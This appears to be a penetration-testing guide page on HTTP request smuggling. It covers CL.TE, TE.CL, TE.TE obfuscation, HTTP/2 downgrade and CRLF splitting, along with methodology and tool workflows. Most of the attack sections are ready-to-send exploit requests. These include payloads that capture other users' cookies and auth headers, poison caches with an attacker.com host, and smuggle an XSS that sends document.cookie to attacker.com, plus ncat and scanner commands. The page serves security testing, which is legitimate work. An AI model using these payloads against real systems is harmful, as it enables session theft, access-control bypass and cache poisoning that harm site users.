Skip to main content
CWECWE-444
WSTGWSTG-NETW-05
MITRE ATT&CKT1090
CVSS Range5.3-9.1
Toolssmuggler
Difficulty🔴 advanced

HTTP Request Smuggling

HTTP request smuggling exploits disagreements between front-end and back-end servers on where one HTTP request ends and another begins. By sending an ambiguous request that two servers parse differently, you can "smuggle" a hidden request through the front-end, bypassing security controls, poisoning caches, hijacking other users' requests, or accessing restricted endpoints.

Quick Reference​

AspectDetails
Attack typeProtocol-level desynchronization
TargetMulti-tier HTTP architectures (reverse proxy + backend), CDNs, load balancers
TechniqueConflicting Content-Length and Transfer-Encoding headers, HTTP/2 downgrade abuse
Key CWECWE-444

Classic desync variants:

VariantFront-end usesBack-end usesSmuggled portion
CL.TEContent-LengthTransfer-EncodingBytes after the chunked terminator (front-end thinks they belong to the first request)
TE.CLTransfer-EncodingContent-LengthBytes beyond the Content-Length value (back-end stops early, remainder becomes next request)
TE.TETransfer-EncodingTransfer-EncodingOne server is tricked into ignoring TE via obfuscation, falling back to CL
H2.CLHTTP/2 framingContent-Length (after downgrade)HTTP/2 has no CL concept; injected CL in the downgraded request causes desync
H2.TEHTTP/2 framingTransfer-Encoding (after downgrade)Injected TE header in the downgraded request triggers chunked parsing

Identify Candidates​

Look for architectures where multiple HTTP processors handle the same connection:

  • Reverse proxy + origin server -- nginx/HAProxy/Apache in front of a backend (Node, Python, Java, etc.)
  • CDN + origin -- Cloudflare, Akamai, Fastly, CloudFront fronting your target
  • Load balancer + app server -- AWS ALB/ELB, F5, Envoy in front of application servers
  • API gateway + microservice -- Kong, AWS API Gateway, Traefik proxying to backends
  • WAF + application -- any WAF inline with a backend server

Reconnaissance signals:

# Identify multiple server headers (indicates proxy chain)
curl -sI "https://TARGET/" | grep -iE "^(server|via|x-powered-by|x-served-by|x-cache):"

# Check HTTP/2 support (enables H2.CL/H2.TE attacks)
curl -sI --http2 "https://TARGET/" | head -1

# Look for timing differences suggesting proxy buffering
time curl -s -o /dev/null "https://TARGET/"

CL.TE Desync​

The front-end uses Content-Length, the back-end uses Transfer-Encoding: chunked. The front-end forwards the full body (per CL), but the back-end stops reading at the chunked terminator 0\r\n\r\n, leaving the remainder queued as the start of the next request.

Detection​

POST / HTTP/1.1
Host: TARGET
Content-Length: 6
Transfer-Encoding: chunked

0

X

If the back-end uses chunked encoding, it processes the 0\r\n\r\n terminator and treats X as the beginning of the next request. This causes a timeout or 400 error on the next request through the same connection -- a detectable side effect.

Timing-based confirmation: Send the probe above. If you receive a normal response but a subsequent request on the same connection times out or returns an unexpected error, the back-end desynchronized.

Exploitation​

POST / HTTP/1.1
Host: TARGET
Content-Length: 35
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: TARGET

The front-end sees a single POST with 35 bytes. The back-end sees the chunked body end at 0\r\n\r\n, then parses GET /admin HTTP/1.1 as a new request -- which arrives with the next legitimate user's connection context and cookies.

TE.CL Desync​

The front-end uses Transfer-Encoding: chunked, the back-end uses Content-Length. The front-end reads the full chunked body, but the back-end stops at the Content-Length boundary, leaving the rest as the next request.

Detection​

POST / HTTP/1.1
Host: TARGET
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

If the back-end uses CL, it reads only 4 bytes (5c\r\n), and the rest (GPOST / HTTP/1.1...) becomes the next request, causing a "405 Method Not Allowed" or similar error for GPOST.

Exploitation​

POST / HTTP/1.1
Host: TARGET
Content-Length: 4
Transfer-Encoding: chunked

8b
GET /admin HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

x=
0

The back-end reads 4 bytes and queues the smuggled GET /admin for the next connection slot. The Content-Length: 200 on the smuggled request causes the back-end to wait and capture the next legitimate user's request headers as the body of x=.

TE.TE Obfuscation​

Both servers support Transfer-Encoding, but one can be tricked into ignoring it through header obfuscation. The server that ignores TE falls back to Content-Length, creating a CL.TE or TE.CL condition.

Obfuscation Techniques​

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: x[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

Try each variant. One server will parse chunked correctly while the other falls back to Content-Length.

Detection​

POST / HTTP/1.1
Host: TARGET
Content-Length: 6
Transfer-Encoding: chunked
Transfer-encoding: identity

0

X

Test systematically with each obfuscation variant. When one causes a desync (timeout on next request, unexpected error), you have identified which server ignores which form.

HTTP/2 Downgrade Smuggling​

When a front-end speaks HTTP/2 but downgrades to HTTP/1.1 for the back-end, HTTP/2's binary framing gets translated into text headers. Headers that are meaningless in HTTP/2 (Content-Length, Transfer-Encoding) become significant in HTTP/1.1.

H2.CL -- Injected Content-Length​

:method: POST
:path: /
:authority: TARGET
content-length: 0

GET /admin HTTP/1.1
Host: TARGET

In HTTP/2, the body is defined by DATA frames, not Content-Length. But after downgrade, the back-end sees Content-Length: 0, finishes the first request, and parses the remaining bytes as a new GET /admin request.

H2.TE -- Injected Transfer-Encoding​

:method: POST
:path: /
:authority: TARGET
transfer-encoding: chunked

0

GET /admin HTTP/1.1
Host: TARGET

HTTP/2 should strip Transfer-Encoding, but if the front-end preserves it during downgrade, the back-end processes the body as chunked, sees the 0\r\n\r\n terminator, and treats the remainder as a new request.

CRLF Injection in HTTP/2 Headers​

HTTP/2 header values can contain bytes that become significant in HTTP/1.1:

:method: GET
:path: /
:authority: TARGET
header: value\r\nTransfer-Encoding: chunked

If the front-end doesn't sanitize \r\n in header values during downgrade, the back-end sees an injected Transfer-Encoding header.

Request Splitting via CRLF​

If the application reflects user input into HTTP headers without sanitizing \r\n, you can inject entirely new requests:

GET /redirect?url=http://example.com%0d%0aContent-Length:%200%0d%0a%0d%0aGET%20/admin%20HTTP/1.1%0d%0aHost:%20TARGET HTTP/1.1
Host: TARGET

This works at the HTTP/1.1 level when the server constructs response headers using unsanitized input. The injected CRLF terminates the current response and starts a new smuggled request/response.

Chain Smuggling for Impact​

Raw desync is a primitive. Chain it with these techniques for real impact:

Bypass Access Controls​

Smuggle a request to a restricted endpoint. The back-end processes it as if it arrived directly, bypassing front-end WAF rules and IP restrictions:

POST / HTTP/1.1
Host: TARGET
Content-Length: 54
Transfer-Encoding: chunked

0

GET /admin/delete-user?id=123 HTTP/1.1
Host: TARGET

Poison Web Cache​

If a CDN/cache sits in front, smuggle a request that causes the back-end to associate a malicious response with a cacheable URL:

POST / HTTP/1.1
Host: TARGET
Content-Length: 76
Transfer-Encoding: chunked

0

GET /static/main.js HTTP/1.1
Host: TARGET
X-Forwarded-Host: attacker.com

The next legitimate request for /static/main.js serves the poisoned response from cache.

Capture Other Users' Requests​

Smuggle a request to a reflection endpoint that stores or echoes content, with a truncated Content-Length that forces the back-end to wait for more data -- which arrives as the next user's request:

POST / HTTP/1.1
Host: TARGET
Content-Length: 67
Transfer-Encoding: chunked

0

POST /log HTTP/1.1
Host: TARGET
Content-Length: 500

data=

The back-end waits for 500 bytes for the data= body. The next user's full request (including cookies, auth headers) gets appended as the value of data=.

Exploit Reflected XSS​

Smuggle a request that triggers a reflected XSS via a path the front-end would normally block:

POST / HTTP/1.1
Host: TARGET
Content-Length: 110
Transfer-Encoding: chunked

0

GET /search?q=<script>document.location='https://attacker.com/?c='+document.cookie</script> HTTP/1.1
Host: TARGET

Testing Methodology​

  1. Fingerprint the architecture -- Identify proxy/CDN/LB and backend. Check Server, Via, X-Served-By headers.
  2. Test CL.TE -- Send a request with both headers where CL covers the full body and TE terminates early. Watch for timeout or error on the next request.
  3. Test TE.CL -- Reverse: TE covers the full body, CL is short. Watch for the smuggled prefix appearing as an error.
  4. Test TE.TE obfuscation -- Try each obfuscation variant against both CL.TE and TE.CL patterns.
  5. Test HTTP/2 downgrade -- If HTTP/2 is supported, inject CL and TE headers in HTTP/2 requests.
  6. Confirm with differential responses -- A successful smuggle changes the response to the next request. Use two sequential requests: a smuggling probe followed by a normal request. If the normal request returns something unexpected, desync is confirmed.
  7. Escalate -- Chain with cache poisoning, credential capture, or access control bypass.

Important: Request smuggling probes can affect other users' requests on shared connections. Test during low-traffic windows or against dedicated test instances when possible. Use single-shot probes rather than automated scanners to minimize disruption.

Impact Assessment​

Level 1 -- Desync Confirmed (Medium severity): You can reliably cause the back-end to misparse request boundaries. Proof: a normal request following your probe returns an unexpected response (wrong status code, different body, timeout).

Level 2 -- Access Control Bypass (High severity): You can reach endpoints that the front-end restricts (admin panels, internal APIs). Proof: response from a restricted endpoint obtained via smuggling that returns 403 when accessed directly.

Level 3 -- Request Hijacking (Critical severity): You can capture other users' requests including authentication headers. Proof: another user's cookies or Authorization header captured via a reflection/storage endpoint.

Level 4 -- Cache Poisoning or Mass Impact (Critical severity): You can serve attacker-controlled content to all users via cache poisoning, or achieve stored XSS through smuggling. Proof: cached response for a popular URL contains your injected content.

Documentation Template​

## HTTP Request Smuggling -- [CL.TE / TE.CL / H2.CL / etc.]

**URL:** [target URL]
**Architecture:** [front-end] -> [back-end] (identified via [headers/behavior])
**Variant:** [CL.TE / TE.CL / TE.TE / H2.CL / H2.TE]

### Desync Proof

[Exact HTTP request that causes desync]

### Impact Demonstration

[Chained attack: access control bypass / cache poison / request capture]

### Response Evidence

[Response from the smuggled request showing unauthorized access or captured data]

Tools​

ToolPurposeWhen to use
Burp Suite + HTTP Request Smuggler extensionAutomated scanning for CL.TE, TE.CL, H2 variantsFirst-pass detection -- scans all desync variants automatically
Turbo Intruder (Burp extension)High-speed request sending with precise timingExploiting race-sensitive smuggling and confirming timing-based desync
smuggler.pyCLI scanner for CL.TE, TE.CL, TE.TEQuick command-line scan when Burp is not available
h2csmugglerHTTP/2 cleartext upgrade smugglingWhen the target supports h2c (HTTP/2 over cleartext) upgrades
curlManual HTTP/1.1 and HTTP/2 probe craftingCrafting exact probe requests for confirmation and PoC

smuggler.py workflow:

# Scan a target for all desync variants
python3 smuggler.py -u https://TARGET/

# Scan with specific method
python3 smuggler.py -u https://TARGET/ -m POST

# Test specific variant
python3 smuggler.py -u https://TARGET/ --cl-te
python3 smuggler.py -u https://TARGET/ --te-cl

Manual probe with curl (CL.TE detection):

# Send CL.TE probe -- if next request on same connection errors, desync confirmed
printf 'POST / HTTP/1.1\r\nHost: TARGET\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX' | \
ncat --ssl TARGET 443

h2csmuggler workflow:

# Test if target supports h2c upgrade smuggling
python3 h2csmuggler.py -x https://TARGET/ --test

# Smuggle a request to an internal endpoint
python3 h2csmuggler.py -x https://TARGET/ -X GET -u http://internal-service/admin

Prioritization​

Test these first (highest real-world exploitability)​

  1. CL.TE and TE.CL desync on multi-tier architectures -- EPSS >0.5 for smuggling CVEs. Classic Content-Length vs Transfer-Encoding conflicts are the most common and well-understood smuggling technique. Test with differential timing to detect desync.
  2. HTTP/2 downgrade smuggling (H2.CL, H2.TE) -- Modern CDNs and reverse proxies that downgrade HTTP/2 to HTTP/1.1 are increasingly vulnerable. Test if the frontend accepts HTTP/2 while the backend processes HTTP/1.1.
  3. Cache poisoning via request smuggling -- If the frontend caches responses, smuggled requests can poison the cache to serve malicious content to all users. Highest blast radius among smuggling attacks.

Test these if time permits (lower exploitability)​

  1. Request splitting via header injection -- Inject CRLF sequences in headers to split a single request into two. Narrower attack surface but effective when found.
  2. WebSocket smuggling -- Exploit WebSocket upgrade handshake differences between frontend and backend to smuggle HTTP requests. Niche but growing attack surface.
  3. TE.TE obfuscation -- When both servers process Transfer-Encoding, obfuscate the header (Transfer-Encoding: chunked, Transfer-Encoding : chunked) to trigger differential parsing.

Skip if​

  • Application is served directly (no reverse proxy, CDN, or load balancer in front — verify via Server header, response timing, and hop-by-hop header behavior)
  • Application only accepts HTTP/2 end-to-end with no protocol downgrade

Note: You cannot determine backend parsing libraries externally. If a reverse proxy or CDN is detected, always test for smuggling — parsing disagreements are the norm, not the exception, across different HTTP implementations.

Asset criticality​

Prioritize by architecture: CDN-fronted applications (cache poisoning = mass user impact) > load-balanced applications (request hijacking) > simple reverse proxy setups. Smuggling that bypasses security controls (WAF, authentication) or poisons shared caches is always Critical.